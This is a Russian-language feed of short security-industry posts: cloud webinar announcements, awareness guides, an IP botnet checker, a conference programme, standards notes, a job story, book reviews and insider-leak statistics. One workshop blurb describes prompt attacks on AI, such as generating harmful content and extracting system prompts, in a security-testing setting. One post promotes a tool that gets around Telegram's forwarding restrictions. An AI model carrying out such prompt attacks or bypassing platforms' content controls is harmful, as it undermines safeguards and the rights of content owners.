Приглашаем на бесплатные онлайн-встречи с экспертами по безопасности, базам данных и BI в облаке. Подключайтесь и задавайте вопросы в прямом эфире.

Self-hosted vs Managed PostgreSQL: эксплуатация и риски
📆 Когда: 9 декабря в 11:00 мск

Честно сравним два подхода и разберем, с какими сложностями и скрытыми рисками можно столкнуться при переходе с on-premise на Managed PostgreSQL в облаке. И, главное, как их избежать.

Безопасность в облаке: как провайдер и клиент делят зоны ответственности
📆 Когда: 11 декабря в 11:00 мск

Поговорим о разделении ответственности за кибербезопасность между облачным провайдером и клиентом. Расскажем, какие задачи лежат на каждой из сторон и как модель разделенной ответственности помогает избежать инцидентов.

Как запустить BI за день, а не за месяц
📆 Когда: 16 декабря в 11:00 мск

Сложное развертывание, тонкая настройка и постоянная зависимость от IT-специалистов растягивают внедрение бизнес-аналитики. На вебинаре покажем, как развернуть полнофункциональную BI-систему в облаке за день.

До встречи!

Привет, Хабр! Сегодня отмечается Международный день защиты информации. Поздравляем всех, кто стоит на страже цифровых рубежей и помогает компаниям защищаться от хакеров, инсайдеров и ИБ-инцидентов. Желаем увеличения ИБ-бюджетов, расширения штата службы безопасности и снижения числа подтвердившихся инцидентов!

А пока – делимся полезными материалами, как обучить сотрудников правилам ИБ, чтоб облегчить ежедневную рутину отделу безопасности.

Гайды по главным угрозам в сети – чтоб сотрудники не попадались на уловки кибермошенников:

• Про опасности в соцсетях

• Про фишинговые письма

• Про мошеннические сайты

• Про дипфейки

Эффективные практики ИБ-ликбеза в коллективе:

• Как научить пользователей парольной безопасности

• Как организовать обучение ИБ, чтоб сотрудники вас не возненавидели

• Почему риторика – важный инструмент безопасника, и как ее прокачать: раз, два

С профессиональным праздником, коллеги!

Проверяем, взломали ли вас хакеры или ваш IP в списке ботнетов. Исследователи из GreyNoise выпустили сервис GreyNoise IP Check, который позволяет быстро узнать, залез ли кто-то в вашу сеть. Сканер считает ваш IP-адрес и начнет искать совпадения в известных ботнет-сетях, которые используют для DDoS-атак.

При обращении к GreyNoise IP Check пользователи получают один из трёх статусов. «Clean» означает, что подозрительной сканирующей активности с этим адресом не фиксировалось. «Malicious/Suspicious» сигнализирует о том, что IP замечен в сканировании и имеет смысл проверить устройства в локальной сети. «Common Business Service» указывает на принадлежность адреса сетевым защитным сервисам, корпоративной инфраструктуре или облачному провайдеру — в таких условиях активное сетевое сканирование внешних адресов и портов часто выполняется легитимными средствами мониторинга и тестирования безопасности. То есть не свидетельствует о заражении.

Если по IP‑адресу обнаружена какая‑либо активность, сервис показывает хронологию за 90 дней. Такая история помогает связать начало подозрительных сканов с установкой конкретного приложения, в том числе клиента для распределения трафика или сомнительной программы, и затем устранить источник проблемы.

Что такое Cyber Resilience Act, и какие требования к кибербезопасности он предъявляет?

Что же за птица такая — Cyber Resilience Act? Мы написали статью, где рассмотрели закон, который выдвигает требования кибербезопасности к продуктам, поставляемым на европейский рынок. Как выглядят эти требования, какие определены штрафы за их несоблюдение — обо всём поговорим здесь.

Три самых частых бытовых "финансовых фейла" при переводах по номеру, которые происходят каждый день:

1) Перепутал чат — отправил деньги не тому человеку
Это классика. Открыл «не тот» диалог → скопировал номер оттуда же → отправил.
Приходит уведомление: вы перевели Ивану А.
А должен был Серёге.

2) Неправильно скопировал номер
Люди уверены, что «копировать-вставить» — это надёжно.
Но на Android до сих пор живут приложения, которые умеют подменять буфер обмена.
Поменяли одну цифру — всё.

3) QR-код оказался не тем
Неделю назад в комментариях рассказывали:
на офисной двери висел QR «для оплаты».
Поверх него наклеили другой — деньги уходили мошеннику 3 дня.

Забавно, что все эти ошибки связаны не с банками, а с тем, что номер — это “просто текст”.

Его можно изменить, перепутать, подменить, случайно вставить старый.

Решение простое: минимизировать ручной ввод и самодельные схемы.
В следующей статье я подробно разберу реальные угрозы и защитные механизмы для бытовых переводов — от подмены номера до фишинговых QR-кодов.

Если интересно, следите 👇
(и да, в комментах можно делиться своими историями — накопилось у всех)

Воркшопы конференции AI DevTools Conf, которых не будет в трансляции

Если сомневаетесь, слушать онлайн или потратить время на поездку на конференцию, то вот аргумент в пользу офлайн-визита: воркшопов с экспертами не будет в трансляции и записях после мероприятия.

AI DevTools Conf — практическая конференция про AI в разработке. С докладами выступят наши и приглашенные эксперты, они расскажут про AI-процессы, мультиагентные системы, эффективную инфраструктуру и управление уязвимости. Еще будут демозоны, на которых вы сможете потестить сервисы Evolution AI Factory, нашей цифровой среды для работы с GenAI.

📍 Где: онлайн или очно в Москве: Варшавское шоссе, 33с3, AG Loft.

📆 Когда: 4 декабря в 16:00 мск.

Полная программа конференции и регистрация 👈

И наконец программа воркшопов:

AI-Agent для развертывания и обслуживания инфраструктуры

Разберем, как подобрать нужную конфигурацию AI-агента и быстро развернуть продукт. Настроим сбор метрик и логов с приложения и инфраструктуры, а еще сформируем алерты.

👨‍💻 →  Сергей Шапошников. Менеджер продукта, Cloud․ru
👨‍💻 →  Никита Кострикин. Менеджер продукта, Cloud․ru
17:20 – 17:50

Управляемая AI-разработка: как генерировать код быстро и с минимумом техдолга

Рассмотрим, как внедрить AI-инструменты в разработку, не потерять в качестве и обеспечить безопасность. На реальных кейсах обсудим, как настроить инфраструктуру для контролируемой генерации кода.

👨‍💻 →  Александр Константинов. Технический эксперт по облачным технологиям, Cloud.ru
17:50 – 18:20

Marimo Notebooks: как выйти за рамки Jupyter

Расскажем, как работает реактивная модель marimo, и покажем, как решить с ней проблемы низкой воспроизводимости, зависимости от порядка выполнения ячеек и сложностей с версионированием.

👨‍💻 →  Владимир Килязов. Технический эксперт по машинному обучению, Cloud․ru
18:40 – 19:10

Как тестировать LLM-агента: от юнит-тестов до комплексных сценариев

Разберемся в архитектуре агентных систем, дадим рекомендации, как измерять эффективность их работы. Обсудим стратегию e2e оценки на основе подхода LLM as a judge.

👨‍💻 →  Михаил Дремин. Технический лидер Data Science, Cloud․ru
19:10 – 19:40

Современные средства тестирования безопасности AI

Посмотрим, какие бывают промпт-атаки на AI и современные средства тестирования. Сгенерируем вредоносный контент и извлечем системный промпт. А еще обсудим возможные атаки на AI-системы тех, кто придет на воркшоп.

👨‍💻 →  Юрий Лебединский. Разработчик, HiveTrace․red
19:40 – 20:10

 Увидимся на AI DevTools Conf!

Предлагаю вашему вниманию запись вебинара "Особенности разработки встроенного ПО по требованиям ФБ". Слайды презентаций.

Вместе с экспертами из "ФанкСэйфети" разбирались с такими сущностями, как ГОСТ Р МЭК 61508, уровнями SIL, стандартом MISRA C, сертификацией по функциональной безопасности и т. д.

В конце была активная дискуссия, во время которой отвечали на интересные вопросы. По её итогу приводим дополнительную информацию и ссылки.

Примечание 1. Говоря про безопасные и сертифицированные компиляторы, стоит отметить, что в 2024 году появился ГОСТ Р 71206-2024: "Разработка безопасного программного обеспечения. Безопасный компилятор языков С/С++. Общие требования". Также см. пост из цикла разбора РБПО: Процесс 12 — Использование безопасной системы сборки программного обеспечения и вебинар на эту тему.

Примечание 2. Инструменты SAST и DAST не обязаны быть сертифицированы. Из методической рекомендация ФСТЭК № 2025-07-011 | Уровень критичности: 3:

Область: Инструментальный анализ

Тип недостатка: Необоснованный выбор инструментов, в том числе инструментов статического анализа исходного кода, для выстраивания и выполнения процессов РБПО.

Описание: В настоящий момент ФСТЭК России не предъявляет требования наличия сертификата соответствия к большинству типов инструментов анализа кода и архитектуры. При этом к инструментам предъявляются следующие требования: ...

См. также выдержку из эфира AM Live "Разработка безопасного программного обеспечения (РБПО)". Анализатор PVS-Studio участвует в инициативе ФСТЭК по испытаниям статических анализаторов кода, но это другая история.

Примечание 3. Был вопрос, связанный с объединением требований ФБ и ИБ в одном стандарте. Некоторые усилия в этом направлении предпринимаются, см. примеры ГОСТов ниже:

ГОСТ Р 59506-2021/IEC TR 63074:2019. Безопасность машин. Вопросы защиты информации в системах управления, связанных с обеспечением функциональной безопасности.

ГОСТ Р 71452-2024/IEC/PAS 63325:2020. Требования к функциональной безопасности и защите системы контроля промышленной автоматизации (IACS) на протяжении жизненного цикла.

Однако необходимо понимать, что у ФБ и ИБ разные цели и разные подходы, поэтому объединение технических требований может создать путаницу, и сейчас меры по объединению некоторых аспектов ФБ и ИБ носят, прежде всего, организационный характер.

Защита от утечек и кибератак: выстраиваем комплексную систему безопасности
с VK WorkSpace и VK Cloud

По оценкам Cybersecurity Ventures, мировой ущерб от кибератак в 2025 году может достичь $10,5 трлн. Российские компании также сталкиваются с растущим числом инцидентов: атаки всё чаще завершаются шифрованием инфраструктуры и остановкой критически важных сервисов.

В таких условиях недостаточно точечно закрывать уязвимости. Важно иметь технологическую платформу, которая по умолчанию соответствует регуляторным требованиям и обеспечивает защиту данных на каждом уровне — от корпоративных коммуникаций до облачной инфраструктуры.

11 декабря в 17:00 (МСК) на бесплатном вебинаре эксперты VK WorkSpace и VK Cloud расскажут, как выстроить комплексную защиту, используя российские решения VK Tech.

→ Зарегистрироваться на вебинар

В программе вебинара:

Часть 1. Защищенные коммуникации как основа бизнеса

• Встроенная безопасность в VK WorkSpace: что реализовано для защиты корпоративных коммуникаций.

• Безопасная миграция: как перенести данные с сохранением стандартов безопасности.

• Кейсы клиентов: разбор реальных историй внедрения и повышения уровня безопасности в компаниях.

Часть 2. Экспертный взгляд на безопасность в облаке

• Безопасность по умолчанию: какие инструменты VK Cloud позволяют обезопасить ваши данные.

• Защита на всех уровнях: почему в облаке безопасность не опция, а базовый слой.

• Комплексная защита данных: обзор собственных и партнерских сервисов, доступных в один клик.

Все участники вебинара получат специальные предновогодние предложения на продукты VK Tech.

Спикеры:

• Оксана Ульянинкова, менеджер продукта VK WorkSpace

• Виктор Федотов, ведущий менеджер продуктов ИБ VK Cloud

→ Зарегистрироваться на вебинар

Вебинар будет полезен всем, кто отвечает за безопасность, инфраструктуру и развитие ИТ в компании.

Представлен открытый проект Telegram Downloader, который умеет легально, быстро и легко скачивать любые файлы даже из защищённых каналов и чатов, где закрыта пересылка контента:

• качает даже тяжёлые файлы за несколько секунд.

• загрузки экспортируются в JSON-формат прямо на локальный диск.

• работает локально — вся информация о загрузках будет только на локальном ПК.

• не нарушает политику мессенджера.

В маркетплейсе VK Cloud появилось сразу несколько новых решений, поэтому мы хотим, чтобы вы узнали, как с ними работать из первых рук во время вебинаров. Оба решения появятся в маркетплейсе накануне трансляций.

📌 26 ноября в 11:00 будем говорить о том, какие преимущества открывает РЕД База Данных. Почему это надежно, и как работает совместная поддержка в рамках SLA. Эфир проведет технологический евангелист VK Cloud Станислав Погоржельский и Алексей Бехтин, аналитик отдела разработки СУБД, РЕД Софт.

Что еще обсудим

🔷 Интеграция с прикладными системами. Как легко и быстро подключить РЕД Базу Данных к вашим приложениям, работающим в VK Cloud.

🔷 Кейсы и выгоды. Примеры из практики, демонстрирующие повышение производительности и снижение TCO (совокупной стоимости владения).

🔷 Разработка с помощью ИИ. Генерация приложения маркетплейса на Go с использованием СУБД РЕД База Данных.

Зарегистрироваться

📌 27 ноября в 11:00 начнем разговор про обеспечение безопасности данных в облаке с помощью Next Generation Firewall. Межсетевой экран позволяет контролировать трафик между ВМ, настраивать правила и вести мониторинг real-time. 

Владислав Закрятин, инженер по предпродажной подготовке из Ideco, покажет в прямом эфире, как развернуть решение за 15 минут.

Кому точно стоит посетить вебинар

🔷 DevOps и SRE-инженерам.

🔷 Руководителям ИТ-направлений.

🔷 Всем, кто использует или планирует использовать облачную инфраструктуру.

Зарегистрироваться

4 раунда за 2 недели собеседований → оффер в пятницу → отказ в понедельник.
Причина?
Мой чертов LinkedIn, который я не обновлял пару лет.

Все любят истории успеха 🙃
Но вот вам история НЕ-успеха - и при этом моя собственная.

За последние 2 недели прошёл:
🟢 HR-интервью
🟢 Техническое интервью (жёсткое, но честное)
🟢 Интервью с командой
🟢 Интервью с CPO
🟢 Получил оффер. Подтвердили, что всё ок.

В пятницу вечером в почте лежал «Welcome aboard».
Я, честно - обрадовался. Уже mentally onboarded. И самое !главное! крутая команда, крутые задачи впереди, возможность строить инфраструктуру с нуля и возможность топить в ИБ (реальную а не бумажную) - ну восторг жеж. Да я уже запланировал фаст-вины на первые 30 дней!

А в понедельник приходит письмо:
«СТО принял решение не двигаться дальше. Ваш опыт в резюме не соответствует тому, что в LinkedIn».

Что?! Какого?!
LinkedIn, который я не вёл несколько лет?
Площадка, которую большинство инженеров обновляет раз в эпоху?

Я объяснил, что могу подтвердить опыт трудовой, рекомендациями, стеками проектов, GitLab’ами, CI/CD пайплайнами - чем угодно.
Ответ:
«Решение финальное».

И вот честно - я не злюсь. (да что уж там, бесился первые пол часа)
Но вся эта ситуация подсветила кое-что важное:
Нужно делать то, что приведет напрямую к приему на работу, я повторил всю теорию, прошелся по практике - а надо было резюме пилить.

*Мой личный инсайт* В эпоху, когда DevOps пишет IAC, придумал собственный термин, что карьера тоже - Career As a Code, и её надо поддерживать.

Так что да: обновляю LinkedIn.
Да: выкладываю эту историю.
Да: остаюсь мотивирован строить системы, усиливать DevOps и DevSecOps, выстраивать безопасность, SRE, процессы, документирование, хаос-устойчивость - всё то, в чём я реально силён.

Может я единственный, кто еще живет по старому, а все остальные давно проснулись в матрице?

Как часто вы обновляете ЛН?

Представлена подборка Awesome Privacy из 100 сервисов-аналогов всем популярным платформам, но с упором на безопасность и приватность данных, включая файловые менеджеры, облачные хранилища и клавиатуры.

Отзыв на книгу "Кибербезопасность: правила игры. Как руководители и сотрудники влияют на культуру безопасности в компании" Эллисон Сэрра.

Уже который раз беру книгу по теме своей профессиональной деятельности. Вроде как это полезно для развития. И уже который раз разочаровываюсь, потому что не могу почерпнуть полезных материалов. Даже, например, громкие интересные кейсы кибератак. И этого не встречаю.

Книга бесполезна для профессионалов в области информационной безопасности. Для всех остальных несёт тоже не очень много пользы. Разве что для тех, кто живёт «в вакууме» без соцсетей, новостей и технологий. Несколько интересных фактов из сферы кибербезопасности. И дальше — наши любимые маркетинговые штучки бизнес-литературы: интересные факты из истории, бизнеса, которые по смыслу очень издалека прикручивают к теме кибербеза, просто по аналогии. Но повествование, поверхностно касающееся названия самой книги, несёт за собой потраченное время читателя. Я бы назвала это эссе-рассуждением на тему "хайпового" кибербеза. Но автор написала и продала нам это как книгу. И тут уже напрашивается придирка к тому, что пишет это не профессионал в ИБ, а именно маркетолог в мире ИБ.

Говорят, это распространённая проблема бизнес-литературы: вместо глубины — «водянистые» рассуждения и пересказ очевидных вещей.

Хочется уточнить, почему мне не понравилась книга. Потому что я часто хожу на отраслевые конференции по информационной безопасности. И видела там много. Чаще всего там или обозревают изменения в законодательстве, говорят о важности защиты, о хакерских атаках, ну и параллельно продают нам услуги или средства по защите информации. Многие ходят больше себя показать. Буквально. Или удовлетворить потребность в общении, которая переходит границы разумного. Но сейчас не об этом. А о том, что многие сейчас занимаются маркетингом, прикрывая это конкретной сферой деятельности. И в данном случае — это сфера кибербеза. И в этом не было бы ничего плохого, если бы это всё тоже не переходило границы разумного. Экспертиза подменяется долгими историями без реальной ценности. А болтуны тратят наше время. Да, маркетологи поднимают важные вопросы о защите. Но сколько можно поднимать, а не предпринимать или давать конкретные пути решения.

Мне тоже прилетало за некомпетентность здесь в блоге. Однажды была свидетелем, как на конференции чуть не случилась драка, когда спикер рассказывал про полезные бесплатные инструменты по ИБ, а один из слушателей не мог сдержаться от критики и буквально с места кричал: "туфта". Но... всё же, часто авторы, не обладающие глубокими познаниями в предметной области, пытаются продать свои продукты, маскируя их под экспертные издания. Это и приводит к размыванию границ профессионализма и уменьшению доверия. Причем не только к подобным материалам, но в целом к сфере.

Но возможно, проблема, описанная мной, немного преувеличена, и во мне просто протестует, что мои ожидания не совпали с реальностью.

Отзыв на книгу "Взломать всё. Как сильные мира сего используют уязвимости систем в своих интересах" Брюс Шнайер

Я села читать эту книгу как специалист по инфобезопасности. Да, я верю в то, что полезно читать профессиональную литературу. Планировала даже рассказать пользователям про крупные атаки и утечки в рамках обучений и вебинаров по повышению осведомленности. В итоге я хотела узнать про хакерство, а узнала про хитросплетения американской государственной системы и законодательство, которое целиком состоит из лоскутных решений и нюансов(по мнению автора).

Шнайер пишет не про киберпанк и даже не про киберреальность (но сыграл все же на «хайповых темах»), а про то, как уязвимости встроены в саму ткань власти, денег и технологий. И здесь нет сказок про «гениальных хакеров».

По сути, книга представляет собой сборник философских рассуждений автора, основанных на известных исторических фактах. Очень мало информации о реальных громких хакерских атаках в привычном значении этого слова.
И да: «Взлом — это не только про технологии». А «Безопасность — это не технология, а баланс сил». Пока у кого-то есть интерес оставлять системы уязвимыми — они будут взламываться.

Но сложно не согласиться, что обеспечение безопасности — это не просто техническая проблема, а сложное равновесие, зависящее от экономических, юридических и культурных факторов.

P.S. И да, об этом написано на обложке книги, но с детства нас учат "не судить о книге по обложке".

Большинство утечек по вине сотрудников в России умышленные

По данным InfoWatch, в 2025 году большинство утечек данных в компаниях по вине сотрудников носят умышленный характер, причем в России доля спланированных инцидентов в десять раз выше мировой, а инсайдеры втрое чаще используют мессенджеры. С 2022 года зарегистрировано 1523 случая компрометации данных из-за действий инсайдеров.

Подробнее — по ссылке.